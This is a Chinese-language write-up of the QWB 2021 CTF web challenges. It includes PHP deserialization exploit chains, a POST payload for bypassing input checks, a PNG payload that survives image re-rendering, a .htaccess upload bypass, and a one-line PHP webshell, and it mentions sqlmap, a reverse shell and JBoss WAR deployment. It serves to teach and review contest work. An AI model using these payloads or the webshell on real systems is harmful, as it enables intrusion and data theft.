qwb2021Web复盘

  1. 1. 前言
  2. 2. web2 pop_master
  3. 3. web6 [强网先锋]赌徒
  4. 4. web8 [强网先锋]寻宝
  5. 5. 分割线, 下面是对一些题目的思路
    1. 5.1. Hard_Penetration
    2. 5.2. WhereIsUWebShell
    3. 5.3. EasyWeb
    4. 5.4. EasySQL
    5. 5.5. other
  6. 6. 总结

前言

题目质量很好,奈何自己太菜, 只能赛后看着Nu1l的WP复盘一下.

被re 和 pwn师傅带飞的感觉太好了( XD

解了三道题,还有几道有思路也记录一下.

web2 pop_master

tcl只能写半自动脚本, Nu1l的脚本很漂亮,但是看不懂( ..

利用脚本找出pop链然后手动搓链子. 只贴个脚本在这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#encoding=utf-8
import re
def get_functions(index,link):
for x in range(index,length):
if re.search("if\(method_exists\(\$this->(.*?), '(.*?)'\)\) \$this->(.*?)->(.*?)\(\$(.*?)\);",lines[x]):
# print(lines[x])
fun_name1=re.findall("if\(method_exists\(\$this->(.*?), '(.*?)'\)\) \$this->(.*?)->(.*?)\(\$(.*?)\);",lines[x])[0][1]
fun_name2=re.findall("if\(method_exists\(\$this->(.*?), '(.*?)'\)\) \$this->(.*?)->(.*?)\(\$(.*?)\);",lines[x+1])[0][1]
var3 = re.findall("if\(method_exists\(\$this->(.*?), '(.*?)'\)\) \$this->(.*?)->(.*?)\(\$(.*?)\);",lines[x])[0][4]
var4 = re.findall("if\(method_exists\(\$this->(.*?), '(.*?)'\)\) \$this->(.*?)->(.*?)\(\$(.*?)\);",lines[x])[0][4]
if (re.search("%s=" % var3,lines[x-2]) or re.search("%s =" % var3,lines[x-2])) and not re.search("%s = \$%s" % (var3,var3),lines[x-2]):
return 'no'
if (re.search("%s=" % var4,lines[x-2]) or re.search("%s =" % var4,lines[x-2])) and not re.search("%s = \$%s" % (var4,var4),lines[x-2]):
return 'no'
if (re.search("%s=" % var3,lines[x-1]) or re.search("%s =" % var3,lines[x-1])) and not re.search("%s = \$%s" % (var3,var3),lines[x-1]):
return 'no'
if (re.search("%s=" % var4,lines[x-1]) or re.search("%s =" % var4,lines[x-1])) and not re.search("%s = \$%s" % (var4,var4),lines[x-1]):
return 'no'
if (re.search("%s=" % var3,lines[x-3]) or re.search("%s =" % var3,lines[x-3])) and not re.search("%s = \$%s" % (var3,var3),lines[x-3]):
return 'no'
if (re.search("%s=" % var4,lines[x-3]) or re.search("%s =" % var4,lines[x-3])) and not re.search("%s = \$%s" % (var4,var4),lines[x-3]):
return 'no'

isCallable = get_call(fun_name1,link)
if isCallable == -1:
if get_call(fun_name2,link)==-1:
return 'no'
fun_name = fun_name2
else:
fun_name = fun_name1
break

if re.search("\$this->(.*?)->(.*?)\(\$(.*?)\);",lines[x]):
fun_name=re.findall("\$this->(.*?)->(.*?)(\$(.*?));",lines[x])[0][1][:-1]
var2 = ((re.findall("\$this->(.*?)->(.*?)(\$(.*?));",lines[x]))[0][3][:-1])
if (re.search("%s=" % var2,lines[x-1]) or re.search("%s =" % var2,lines[x-1])) and not re.search("%s = \$%s" % (var2,var2),lines[x-1]):
return 'no'
if (re.search("%s=" % var2,lines[x-2]) or re.search("%s =" % var2,lines[x-2])) and not re.search("%s = \$%s" % (var2,var2),lines[x-2]):
return 'no'
if (re.search("%s=" % var2,lines[x-3]) or re.search("%s =" % var2,lines[x-3])) and not re.search("%s = \$%s" % (var2,var2),lines[x-3]):
return 'no'
if get_call(fun_name,link) == -1:
return 'no'
break
if 'eval' in lines[x]:
var1 = re.findall("eval\(\$(.*?)\);",lines[x])[0]
if re.search("%s=" % (var1),lines[x-1]) or re.search("%s=" % (var1) ,lines[x-2]) or re.search("%s=" % (var1) ,lines[x-3]):
# if var1 in lines[x-1] or var1 in lines[x-2]:
return 'no'
print('\n\n//'.join(link))
return 'yes'
return fun_name

def get_call(fun_name,link):
link.append(fun_name)
# print(link)
for x in range(length):
if re.search("public function %s\(.*?\){" % (fun_name),lines[x]):
# print(lines[x])
if get_functions(x,link) == 'no':
link.pop()
return -1
return x
# 读入文件
lines = []
for line in open("../class.php"):
lines.append(line.strip())

length = len(lines)

link = []
fun_name="C5NoRg"
get_call(fun_name,link)

web6 [强网先锋]赌徒

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
//hint is in hint.php
// error_reporting(1);

class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}

public function _sayhello(){
echo $this->name; // __toString()
return 'ok';
}

public function __wakeup(){ // 调用 _sayhello
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}

public function __toString(){
echo "test";
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';

public function __get($name){
$function = $this->a;
return $function();
}

public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}

public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}

if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>

exp: (再也不在构造函数里面new对象了..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
//hint is in hint.php
class Start
{
public $name;
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
$this->name = new Info();
}
}

class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$a = new Room();
$a->a = new Room();
$this->file['filename'] = $a;
}
}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}

$a = new Start();
echo urlencode(serialize($a));
?>

web8 [强网先锋]寻宝

第一层代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
header('Content-type:text/html;charset=utf-8');
// error_reporting(0);
highlight_file(__file__);


// /php|flag|index|KeY1lhv|source|key|eval|echo|\$|\(|\.|num|html|\/|\,|'|0000000/
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}


if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);

if(isset($num1) && is_numeric($num1)){
die("非数字");
}

else{

if($num1 > 1024){
echo "第一层";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二层";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){ // 稍微修改了一下
echo "第三层";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四层";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五层";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}

exp:

1
POST: ppp[number1]=1234a&ppp[number2]=9E10&ppp[number3]=uYUFp&ppp[number4]=0.000000&ppp[number5]=a

第二层, 写一个脚本遍历word文档即可,(后来看下载文件也试考点,只能说迅雷yyds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding:utf-8 -*-
import os
import docx
from docx import Document
def Read_Docx(path):
try:

document = Document(path)
for paragraph in document.paragraphs:
if 'KEY' in paragraph.text:
print('[+]',path)
print(paragraph.text)
except:
pass
def get_files(filepath):
files = os.listdir(filepath)
for file in files:
file_dir = os.path.join(filepath,file)
if os.path.isdir(file_dir):

get_files(file_dir)

else:

# print(os.path.join(file_dir))
docxs.append(os.path.join(file_dir))

docxs = []
get_files('.\\five_month')

for x in range(len(docxs)):
Read_Docx(docxs[x])

分割线, 下面是对一些题目的思路

Hard_Penetration

第一层是shiro漏洞利用. 利用工具对版本jdk版本有要求,直接暴毙.( 暑假就学Java.

WhereIsUWebShell

第一层:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
include "function.php";
echo "I see your Cookie<br>";
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");

function.php

1
2
3
4
5
6
<?php
// function.php
function __autoload($classname){
require_once "/var/www/html/$classname.php";
}
?>

myclass.php

1
2
3
4
5
6
7
8
9
<?php
// myclass.php
class Hello{
public function __destruct()
{
if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>

下面这两行代码的问题很大.

1
2
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){

比赛的时候一直有疑惑为什么先unserializeserialize , 后来找到了php的这个trick才看懂这个点.

构造下面的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// myclass.php
class Hello{
public function __construct(){
$this->qwb = 'php://filter/convert.base64-encode/resource=e2a7106f1cc8bb1e1318df70aa0a3540.php';
}
}
class myclass{
public $a;
public $b;
public function __construct(){
$this->a = new Hello();
}
}
echo urlencode(serialize((new myclass)));
?>
// O%3A7%3A%22myclass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A80%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3De2a7106f1cc8bb1e1318df70aa0a3540.php%22%3B%7Ds%3A1%3A%22b%22%3BN%3B%7D
// O:7:"myclass":2:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:80:"php://filter/convert.base64-encode/resource=e2a7106f1cc8bb1e1318df70aa0a3540.php";}s:1:"b";N;}

然后把最后一个} 给删了. 这样虽然反序列化会报错,但是Hello这个对象还是可以unserialize成功的.

然后结合filter就可以读代码了, 下面是第二层代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
// include "bff139fa05ac583f685a523ab3d110a0.php";
// include "45b963397aa40d4a0063e0d85e4fe7a1.php";
function PNG($file)
{
if(!is_file($file)){die("我从来没有见过侬");}
$first = imagecreatefrompng($file);
if(!$first){
die("发现了奇怪的东西2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁,清内存
}
imagedestroy($first);
}

function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}

$file = isset($_GET['4475157a-539c-4c4e-b0c4-d2d0748dea47'])?$_GET['4475157a-539c-4c4e-b0c4-d2d0748dea47']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['6cbb3d33-55f2-4cca-af8e-8f60733f2667']);
if(isset($_GET['6cbb3d33-55f2-4cca-af8e-8f60733f2667'])&&$_GET['6cbb3d33-55f2-4cca-af8e-8f60733f2667']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

第一步是过二次渲染, Nu1l给出的生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

国赛的时候也遇到了一个项目可以生成.https://github.com/huntergregal/PNG-IDAT-Payload-Generator/

想到的思路是利用文件上传产生临时文件/tmp/xxxxxx然后包含, 列目录刚好可以找到文件名,,,但是比赛的时候根本跑不出来23333(理论上是可行的

看了Nu1lWp发现还要结合另外一个php7的bug, 原理参考Guoke师傅 https://guokeya.github.io/post/cbMk6sLKe/ , 这题思路太🐂了.

EasyWeb

这个题太迷惑了,平台不是不让扫的吗..

第一层: nmap扫描到36842端口是一个web服务, 登陆处存在sql注入

image-20210615120254630

直接sqlmap拖下admin账号密码, admin/99f609527226e076d668668582ac4420

然后nmd网站名字叫EasySSRF… 找ssrf找了好久,最后发现是个upload??

在/file存在文件上传, 绕过方式可以是.htaccess

1
AddHandler php5-script .test
1
<?php passthru($_GET[cmd]);

然后发现无权限读flag,

image-20210615120659975

hint

image-20210615120716716

然后尝试suid提权失败. 发现内网8006还有个jboss.反弹shell失败,也不会搭代理也不会打jboss就放弃了.

后面一步是部署war包打jboss.

EasySQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const salt = random('Aa0', 40);
const HashCheck = sha256(sha256(salt + 'admin')).toString();

let filter = (data) => {
let blackwords = ['alter', 'insert', 'drop', 'delete', 'update', 'convert', 'chr', 'char', 'concat', 'reg', 'to', 'query'];
let flag = false;

if (typeof data !== 'string') return true;

blackwords.forEach((value, idx) => {
if (data.includes(value)) {
console.log(`filter: ${value}`);
return (flag = true);
}
});

let limitwords = ['substring', 'left', 'right', 'if', 'case', 'sleep', 'replace', 'as', 'format', 'union'];
limitwords.forEach((value, idx) => {
if (count(data, value) > 3){
console.log(`limit: ${value}`);
return (flag = true);
}
});

return flag;
}


app.get('/source', async (req, res, next) => {
fs.readFile('./source.txt', 'utf8', (err, data) => {
if (err) {
res.send(err);
}
else {
res.send(data);
}
});
});



app.all('/', async (req, res, next) => {
if (req.method == 'POST') {
if (req.body.username && req.body.password) {
let username = req.body.username.toLowerCase();
let password = req.body.password.toLowerCase();

if (username === 'admin') {
res.send(`<script>alert("Don't want this!!!");location.href='/';</script>`);
return;
}

UserHash = sha256(sha256(salt + username)).toString();
if (UserHash !== HashCheck) {
res.send(`<script>alert("NoNoNo~~~You are not admin!!!");location.href='/';</script>`);
return;
}

if (filter(password)) {
res.send(`<script>alert("Hacker!!!");location.href='/';</script>`);
return;
}

let sql = `select password,username from users where username='${username}' and password='${password}';`;
client.query(sql, [], (err, data) => {
if (err) {
res.send(`<script>alert("Something Error!");location.href='/';</script>`);
return;
}
else {
if ((typeof data !== 'undefined') && (typeof data.rows[0] !== 'undefined') && (data.rows[0].password === password)) {
res.send(`<script>alert("Congratulation,here is your flag:${flag}");location.href='/';</script>`);
return;
}
else {
res.send(`<script>alert("Password Error!!!");location.href='/';</script>`);
return;
}
}
});
}
}

res.render('index');
return;
});

postgres sql的注入. 知识盲区,

第一层是数组绕过/密码学attack?

other

别的Java题/xss 就没看了.

总结

爬去学习了.wtcl